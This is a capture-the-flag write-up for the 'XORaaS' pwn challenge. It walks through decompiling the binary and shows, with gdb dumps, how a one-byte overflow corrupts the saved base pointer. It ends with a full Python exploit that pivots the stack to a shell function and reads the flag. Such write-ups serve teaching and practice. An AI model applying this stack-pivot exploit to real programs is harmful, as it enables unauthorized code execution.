Writeup by edoardo3512 for XORaaS

pwn x86/x64

January 27, 2025

Binary

The given binary xoraas is a 64 bit, dynamically linked executable, with debug symbol still present.

$ file xoraas
xoraas: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7cc01138056a55dbf7dd1f86e2b5fae1e72d8747, for GNU/Linux 3.2.0, not stripped

$ checksec xoraas
[*] './xoraas'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

We can see from checksec that the binary is not PIE, and has no canary. The fact that it is not PIE means that the address at which the binary is loaded in memory is not random, so we already know the position of every function at runtime without having to leak any data, while the absence of a canary means that there is no protection against a buffer overflow that would overwrite the return address.

Decompiling the program

Let’s start reversing the binary with Ghidra. The first thing we see is the presence of a win function we will have to jump to to open a shell.

void shell(void)

{
  execve("/bin/bash",0x0,0x0);
  return;
}

The main function is quite simple. The program reads 128 bytes and then calls xor before printing the result back. The xor function is similar, it reads 145 bytes, then takes the first 128 bytes to xor them with buffer_main, overwriting it.

int main(void)

{
  char buffer_main [0x80];

  fread(buffer_main,1,0x80,stdin);
  xor(buffer_main);
  fwrite(buffer_main,1,0x80,stdout);
  return 0;
}

void xor(char *buffer_main)

{
  byte buffer_xor [0x8c];
  int i;

  fread(buffer_xor,1,0x91,stdin);
  for (i = 0; i < 0x80; i = i + 1) {
    buffer_main[i] = buffer_xor[i] ^ buffer_main[i];
  }
  return;
}

For a second I thought the idea would be to use the bigger buffer in xor to write outside buffer_main and control this way the return address, but no, we only use 128 bytes for the xor. So what are the other 17 bytes for ? We can notice that fread will overflow the buffer by 5 bytes. 4 of them will overwrite the counter i, but where will go the final one ?

Understanding the stack

Let’s quickly review how the stack is setup during a function call and execution. Feel free to skip this section if you don’t need it.

I’m expecting everyone to be familiar with how the call and ret instructions works. The first one will push on the stack the address where the program wants to continue after the function call so that the second one can pop it back at the end to jump to it. We can see this by looking at the stack when call xor from the main function. The address 0x401213 <main+52> is pushed on the stack, popped at the end of the function and the program continues then from there.

=> 0x40120e <main+47>:	call   0x40115f <xor>
   0x401213 <main+52>:	mov    rdx,QWORD PTR [rip+0x2df6]
0x00007ffe32ca9f00│+0x0000: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"	 ← $rax, $rsp, $rdi

=> 0x40115f <xor>:	push   rbp
   0x401160 <xor+1>:	mov    rbp,rsp
   0x401163 <xor+4>:	sub    rsp,0xa0
0x00007ffe32ca9ef8│+0x0000: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]	 ← $rsp
0x00007ffe32ca9f00│+0x0008: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"	 ← $rax, $rdi

=> 0x4011de <xor+127>:	ret
0x00007ffe32ca9ef8│+0x0000: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]	 ← $rsp
0x00007ffe32ca9f00│+0x0008: 0x1010101010101010

=> 0x401213 <main+52>:	mov    rdx,QWORD PTR [rip+0x2df6]
0x00007ffe32ca9f00│+0x0000: 0x1010101010101010	 ← $rsp

Although the return address is the main information preserved on the stack during a function call from our point of view, it is the one we want to overwrite at all cost, this is not the only one present. The other address saved is the base pointer of the calling function, stored at the beginning with push rbp; mov rbp, rsp. This is done to preserve the stack frame of the calling function when creating a new one for the called function. We always start by pushing the previous base pointer, store in rbp the address we saved it at, then subtracting the size we need for our frame from the stack pointer rsp. We can see in this example how The leave instruction will revert this process by moving back the stack pointer to the base of the frame, and then pop the previous base pointer.

=> 0x40115f <xor>:	push   rbp
   0x401160 <xor+1>:	mov    rbp,rsp
   0x401163 <xor+4>:	sub    rsp,0xa0
   0x40116a <xor+11>:	mov    QWORD PTR [rbp-0x98],rdi
0x00007fff380749d8│+0x0000: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]	 ← $rsp

=> 0x401163 <xor+4>:	sub    rsp,0xa0
0x00007fff380749d0│+0x0000: 0x00007fff38074a60  →  0x0000000000000001	 ← $rsp, $rbp
0x00007fff380749d8│+0x0008: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]

=> 0x40116a <xor+11>:	mov    QWORD PTR [rbp-0x98],rdi
0x00007fff38074930│+0x0000: 0x000074a0c9816a00  →  0x0000000000000000	 ← $rsp
0x00007fff38074938│+0x0008: 0x000074a0c968b423  →  <__GI__IO_file_xsgetn+0173> add QWORD PTR [rbx+0x8], r12
0x00007fff38074940│+0x0010: 0x0000000000000080
0x00007fff38074948│+0x0018: 0x0000000000000008
0x00007fff38074950│+0x0020: 0x0000000000000040 ("@"?)
0x00007fff38074958│+0x0028: 0x000074a0c981aaa0  →  0x00000000fbad2088
0x00007fff38074960│+0x0030: 0x0000000000000001
0x00007fff38074968│+0x0038: 0x0000000000000080
0x00007fff38074970│+0x0040: 0x0000000000000080
0x00007fff38074978│+0x0048: 0x00007fff380749e0  →  "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007fff38074980│+0x0050: 0x000074a0c98ea740  →  0x000074a0c98ea740  →  [loop detected]
0x00007fff38074988│+0x0058: 0x000074a0c967fba9  →  <fread+0079> test DWORD PTR [rbx], 0x8000
0x00007fff38074990│+0x0060: 0x0000001000000001
0x00007fff38074998│+0x0068: 0x0000000000000000
0x00007fff380749a0│+0x0070: 0x0000000000000000
0x00007fff380749a8│+0x0078: 0x0000000000000000
0x00007fff380749b0│+0x0080: 0x00007fff38074a60  →  0x0000000000000001
0x00007fff380749b8│+0x0088: 0x00007fff38074b78  →  0x00007fff38076340  →  "/xoraas[...]"
0x00007fff380749c0│+0x0090: 0x00000000004011df  →  <main+0000> push rbp
0x00007fff380749c8│+0x0098: 0x0000000000000000
0x00007fff380749d0│+0x00a0: 0x00007fff38074a60  →  0x0000000000000001	 ← $rbp
0x00007fff380749d8│+0x00a8: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]

=> 0x4011dd <xor+126>:	leave
   0x4011de <xor+127>:	ret
0x00007fff38074930│+0x0000: 0x000074a0c9816a00  →  0x0000000000000000	 ← $rsp
0x00007fff38074938│+0x0008: 0x00007fff380749e0  →  0x1010101010101010
0x00007fff38074940│+0x0010: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074948│+0x0018: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074950│+0x0020: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074958│+0x0028: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074960│+0x0030: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074968│+0x0038: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074970│+0x0040: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074978│+0x0048: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074980│+0x0050: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074988│+0x0058: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074990│+0x0060: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff38074998│+0x0068: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007fff380749a0│+0x0070: 0x4848484848484848
0x00007fff380749a8│+0x0078: 0x4848484848484848
0x00007fff380749b0│+0x0080: 0x4848484848484848
0x00007fff380749b8│+0x0088: 0x4848484848484848
0x00007fff380749c0│+0x0090: 0x4848484848484848
0x00007fff380749c8│+0x0098: 0x0000008048484848
0x00007fff380749d0│+0x00a0: 0x00007fff38074a48  →  0x1010101010101010	 ← $rbp
0x00007fff380749d8│+0x00a8: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]

=> 0x4011de <xor+127>:	ret
0x00007fff380749d8│+0x0000: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]	 ← $rsp
Here is the code for the demonstration if you want
from gdb_plus import *

binary_name = "./xoraas"
context.binary = binary_name

dbg = Debugger(context.binary)
dbg.p.send(b"X"*0x80)
dbg.until("main+47")
print(dbg.execute(f"x/2i {dbg.rip}"))
dbg.telescope(dbg.rsp, 1)
dbg.si()
print(dbg.execute(f"x/3i {dbg.rip}"))
dbg.telescope(dbg.rsp, 2)
dbg.p.send(b"H"*0x91)
dbg.until("xor+127")
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 2)
dbg.ni()
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 1)
from gdb_plus import *

binary_name = "./xoraas"
context.binary = binary_name

dbg = Debugger(context.binary)
dbg.p.send(b"X"*0x80)
dbg.until("xor")
print(dbg.execute(f"x/4i {dbg.rip}"))
dbg.telescope(dbg.rsp, 1)
dbg.si(2)
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 2)
dbg.si()
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 22)
dbg.p.send(b"H"*0x91)
dbg.until("xor+126")
print(dbg.execute(f"x/2i {dbg.rip}"))
dbg.telescope(dbg.rsp, 22)
dbg.ni()
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 1)

Explaining vulnerability

Let’s go back to see what is being overwritten by our buffer overflow.

from gdb_plus import *

binary_name = "./xoraas"
context.binary = binary_name

dbg = Debugger(context.binary)
dbg.p.send(b"X"*0x80)
dbg.until("xor+0xb") # +0xb to wait for the function to setup its stack frame
dbg.telescope(dbg.rsp, 22) # Show stack before filling buffer_xor
dbg.p.send(b"H"*0x91)
dbg.until("fread")
dbg.finish()
dbg.telescope(dbg.rsp, 22) # Show stack after filling buffer_xor
0x00007ffdd62171f0│+0x0000: 0x0000726723e16a00  →  0x0000000000000000	 ← $rsp
0x00007ffdd62171f8│+0x0008: 0x0000726723c8b423  →  <__GI__IO_file_xsgetn+0173> add QWORD PTR [rbx+0x8], r12
0x00007ffdd6217200│+0x0010: 0x0000000000000080
0x00007ffdd6217208│+0x0018: 0x0000000000000008
0x00007ffdd6217210│+0x0020: 0x0000000000000040 ("@"?)
0x00007ffdd6217218│+0x0028: 0x0000726723e1aaa0  →  0x00000000fbad2088
0x00007ffdd6217220│+0x0030: 0x0000000000000001
0x00007ffdd6217228│+0x0038: 0x0000000000000080
0x00007ffdd6217230│+0x0040: 0x0000000000000080
0x00007ffdd6217238│+0x0048: 0x00007ffdd62172a0  →  "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffdd6217240│+0x0050: 0x0000726723fb4740  →  0x0000726723fb4740  →  [loop detected]
0x00007ffdd6217248│+0x0058: 0x0000726723c7fba9  →  <fread+0079> test DWORD PTR [rbx], 0x8000
0x00007ffdd6217250│+0x0060: 0x0000001000000001
0x00007ffdd6217258│+0x0068: 0x0000000000000000
0x00007ffdd6217260│+0x0070: 0x0000000000000000
0x00007ffdd6217268│+0x0078: 0x0000000000000000
0x00007ffdd6217270│+0x0080: 0x00007ffdd6217320  →  0x0000000000000001
0x00007ffdd6217278│+0x0088: 0x00007ffdd6217438  →  0x00007ffdd6219340  →  "/xoraas[...]"
0x00007ffdd6217280│+0x0090: 0x00000000004011df  →  <main+0000> push rbp
0x00007ffdd6217288│+0x0098: 0x0000000000000000
0x00007ffdd6217290│+0x00a0: 0x00007ffdd6217320  →  0x0000000000000001	 ← $rbp
0x00007ffdd6217298│+0x00a8: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]

0x00007ffdd62171f0│+0x0000: 0x0000726723e16a00  →  0x0000000000000000	 ← $rsp
0x00007ffdd62171f8│+0x0008: 0x00007ffdd62172a0  →  "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
0x00007ffdd6217200│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217208│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217210│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217218│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217220│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217228│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217230│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217238│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217240│+0x0050: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217248│+0x0058: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217250│+0x0060: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217258│+0x0068: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdd6217260│+0x0070: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs[...]"
0x00007ffdd6217268│+0x0078: 0x4141414141414141
0x00007ffdd6217270│+0x0080: 0x4141414141414141
0x00007ffdd6217278│+0x0088: 0x4141414141414141
0x00007ffdd6217280│+0x0090: 0x4141414141414141
0x00007ffdd6217288│+0x0098: 0x4141414141414141
0x00007ffdd6217290│+0x00a0: 0x00007ffdd6217341  →  0x3800000001d62174	 ← $rbp
0x00007ffdd6217298│+0x00a8: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]

As expected we can see that we are overwriting the least significant bit of the base pointer from the main function.

0x00007ffdd6217290│+0x00a0: 0x00007ffdd6217320  →  0x0000000000000001	 ← $rbp

0x00007ffdd6217290│+0x00a0: 0x00007ffdd6217341  →  0x3800000001d62174	 ← $rbp

As we discussed above the idea of saving the base pointer on the stack is that nothing changed on the stack frame for the calling function once we return, but what happens if we manage to corrupt it while it’s there ? The calling function will trust us when the execution continues. Then at the end the leave instruction will set the stack pointer to the corrupted address just before popping the next value to return to it. So although we can not directly overwrite the return address, we can confuse the program to go look for it where we want. This is called Stack Pivoting where we pivot the stack pointer to an arbitrary location that we control.

We can see this by continuing until the end of the main function. The leave instruction will load 0x00007ffdd6217341 in rsp and then pop the next pointer in rbp, so we are left with the stack pointer at 0x00007ffdd6217341+8 right before the program will return, and whatever is present there on the stack will be used as return address.

...
dbg.until("main+0x5a")
print(dbg.execute(f"x/i {dbg.rip}"))
dbg.telescope(dbg.rsp, 1)
=> 0x401239 <main+90>:	ret
0x00007ffdd6217349│+0x0000: 0x0000007ffdd62174	 ← $rsp

Since we can overwrite only one byte that means that we can control the base pointer in a range of 0x100 bytes. Let’s see at which position we can find our buffer.

from gdb_plus import *

binary_name = "./xoraas"
context.binary = binary_name

dbg = Debugger(context.binary)
dbg.p.send(b"X"*0x80)
dbg.until("xor")
dbg.p.send(b"H"*0x90 + b"\x00") # Set byte to zero to start from the smallest possible address
dbg.finish()
dbg.telescope(dbg.rbp, 33)

Our buffer is located between 0x00007ffda8098620 and 0x00007ffda80986a0

0x00007ffda8098600│+0x0000: 0x4848484848484848	 ← $rbp
0x00007ffda8098608│+0x0008: 0x0000008048484848
0x00007ffda8098610│+0x0010: 0x00007ffda8098600  →  0x4848484848484848
0x00007ffda8098618│+0x0018: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]
0x00007ffda8098620│+0x0020: 0x1010101010101010	 ← $rsp
0x00007ffda8098628│+0x0028: 0x1010101010101010
0x00007ffda8098630│+0x0030: 0x1010101010101010
0x00007ffda8098638│+0x0038: 0x1010101010101010
0x00007ffda8098640│+0x0040: 0x1010101010101010
0x00007ffda8098648│+0x0048: 0x1010101010101010
0x00007ffda8098650│+0x0050: 0x1010101010101010
0x00007ffda8098658│+0x0058: 0x1010101010101010
0x00007ffda8098660│+0x0060: 0x1010101010101010
0x00007ffda8098668│+0x0068: 0x1010101010101010
0x00007ffda8098670│+0x0070: 0x1010101010101010
0x00007ffda8098678│+0x0078: 0x1010101010101010
0x00007ffda8098680│+0x0080: 0x1010101010101010
0x00007ffda8098688│+0x0088: 0x1010101010101010
0x00007ffda8098690│+0x0090: 0x1010101010101010
0x00007ffda8098698│+0x0098: 0x1010101010101010
0x00007ffda80986a0│+0x00a0: 0x0000000000000001
0x00007ffda80986a8│+0x00a8: 0x000075d4cc829d90  →  <__libc_start_call_main+0080> mov edi, eax
0x00007ffda80986b0│+0x00b0: 0x0000000000000000
0x00007ffda80986b8│+0x00b8: 0x00000000004011df  →  <main+0000> push rbp
0x00007ffda80986c0│+0x00c0: 0x00000001a80987a0
0x00007ffda80986c8│+0x00c8: 0x00007ffda80987b8  →  0x00007ffda809a340  →  "/xoraas[...]"
0x00007ffda80986d0│+0x00d0: 0x0000000000000000
0x00007ffda80986d8│+0x00d8: 0x10df4d47847a7e15
0x00007ffda80986e0│+0x00e0: 0x00007ffda80987b8  →  0x00007ffda809a340  →  "/xoraas[...]"
0x00007ffda80986e8│+0x00e8: 0x00000000004011df  →  <main+0000> push rbp
0x00007ffda80986f0│+0x00f0: 0x0000000000000000
0x00007ffda80986f8│+0x00f8: 0x000075d4ccba9040  →  0x000075d4ccbaa2e0  →  0x0000000000000000
0x00007ffda8098700│+0x0100: 0x2ed605617bc99d0a

But if we run the code again we see that the stack address, even relative to the current page, are not constant and in this case the buffer is located between 0x00007ffcc51e6150 and 0x00007ffcc51e61d0.

0x00007ffcc51e6100│+0x0000: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"	 ← $rbp
0x00007ffcc51e6108│+0x0008: "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007ffcc51e6110│+0x0010: 0x4848484848484848
0x00007ffcc51e6118│+0x0018: 0x4848484848484848
0x00007ffcc51e6120│+0x0020: 0x4848484848484848
0x00007ffcc51e6128│+0x0028: 0x4848484848484848
0x00007ffcc51e6130│+0x0030: 0x4848484848484848
0x00007ffcc51e6138│+0x0038: 0x0000008048484848
0x00007ffcc51e6140│+0x0040: 0x00007ffcc51e6100  →  "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH[...]"
0x00007ffcc51e6148│+0x0048: 0x0000000000401213  →  <main+0034> mov rdx, QWORD PTR [rip+0x2df6]
0x00007ffcc51e6150│+0x0050: 0x1010101010101010	 ← $rsp
0x00007ffcc51e6158│+0x0058: 0x1010101010101010
0x00007ffcc51e6160│+0x0060: 0x1010101010101010
0x00007ffcc51e6168│+0x0068: 0x1010101010101010
0x00007ffcc51e6170│+0x0070: 0x1010101010101010
0x00007ffcc51e6178│+0x0078: 0x1010101010101010
0x00007ffcc51e6180│+0x0080: 0x1010101010101010
0x00007ffcc51e6188│+0x0088: 0x1010101010101010
0x00007ffcc51e6190│+0x0090: 0x1010101010101010
0x00007ffcc51e6198│+0x0098: 0x1010101010101010
0x00007ffcc51e61a0│+0x00a0: 0x1010101010101010
0x00007ffcc51e61a8│+0x00a8: 0x1010101010101010
0x00007ffcc51e61b0│+0x00b0: 0x1010101010101010
0x00007ffcc51e61b8│+0x00b8: 0x1010101010101010
0x00007ffcc51e61c0│+0x00c0: 0x1010101010101010
0x00007ffcc51e61c8│+0x00c8: 0x1010101010101010
0x00007ffcc51e61d0│+0x00d0: 0x0000000000000001
0x00007ffcc51e61d8│+0x00d8: 0x0000722b87229d90  →  <__libc_start_call_main+0080> mov edi, eax
0x00007ffcc51e61e0│+0x00e0: 0x0000000000000000
0x00007ffcc51e61e8│+0x00e8: 0x00000000004011df  →  <main+0000> push rbp
0x00007ffcc51e61f0│+0x00f0: 0x00000001c51e62d0
0x00007ffcc51e61f8│+0x00f8: 0x00007ffcc51e62e8  →  0x00007ffcc51e7340  →  "/xoraas[...]"
0x00007ffda8098700│+0x0100: 0x0000000000000000

Exploit

Instead of trying to find an exact address to use we can be large, fill the whole buffer with the address of shell and try to take a random offset in the middle like 0x60. At worse we will have to try a few times, but we are quite likely to end up in our buffer.

#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./xoraas"
context.binary = binary_name

HOST = "127.0.0.1"
PORT = 4000

MAIN_RET = 0x401239

dbg = Debugger(context.binary, aslr=False).remote(HOST, PORT)

dbg.p.send(p64(dbg.elf.symbols["shell"]) * 16) # Don't forget to use send, not sendline otherwise you leave a \n on the buffer
dbg.p.send(b"\x00"*0x90 + b"\x60") # \x00 to not change the address when xoring the buffers
dbg.until(MAIN_RET)
if dbg.debugging:
  dbg.telescope(dbg.rsp, 1)
  dbg.c(wait=False)
  dbg.p.sendline(b"cat flag.txt")
  dbg.p.recvline().decode() # Catch gdb warning that we detached from the main process when running shell
sleep(0.1) # Wait for the shell
dbg.p.sendline("cat flag.txt")
flag = dbg.p.recvline().decode()
log.success(f"FLAG: {flag}") # You won <3
dbg.p.interactive()

As expected we end up with a base pointer 0x00007fffffffde60, so the stack pointer after the leave instruction is 0x00007fffffffde68 and since this address does fall inside our buffer_main we have the address of shell ready for the ret instruction.

$python3 ./solve
0x00007fffffffde68│+0x0000: 0x0000000000401142  →  <shell+0000> push rbp ← $rsp
[+] FLAG: test_flag{solved}

And the exploit works remotely too, although you may have to run it twice if you are unlucky at first.

$python3 ./solve.py REMOTE
[+] Opening connection to 127.0.0.1 on port 4000: Done
[!] Debug is off, commands won't be executed
Traceback (most recent call last):
  File "/solve.py", line 95, in <module>
    main()
  File "/solve.py", line 91, in main
    flag = dbg.p.recvline().decode()
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 527, in recvline
    return self.recvuntil(self.newline, drop = not keepends, timeout = timeout)
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "~/.local/lib/python3.10/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to 127.0.0.1 port 4000

$python3 ./solve.py REMOTE
[+] Opening connection to 127.0.0.1 on port 4000: Done
[!] Debug is off, commands won't be executed
[+] FLAG: <REDACTED>

Challenge solved! We saw how to perform a simple stack pivoting to control the return address in a case where we couldn’t overwrite it.

Your turn now! You may also want to think about a way to slightly improve the odds that the program will end up on the address of shell. Although it doesn’t change a lot, I realised that my approach wasn’t yet the optimal one. Do you see it too ?

Spoiler/Hint

Go back to look at the stack and think about how much of it can we control.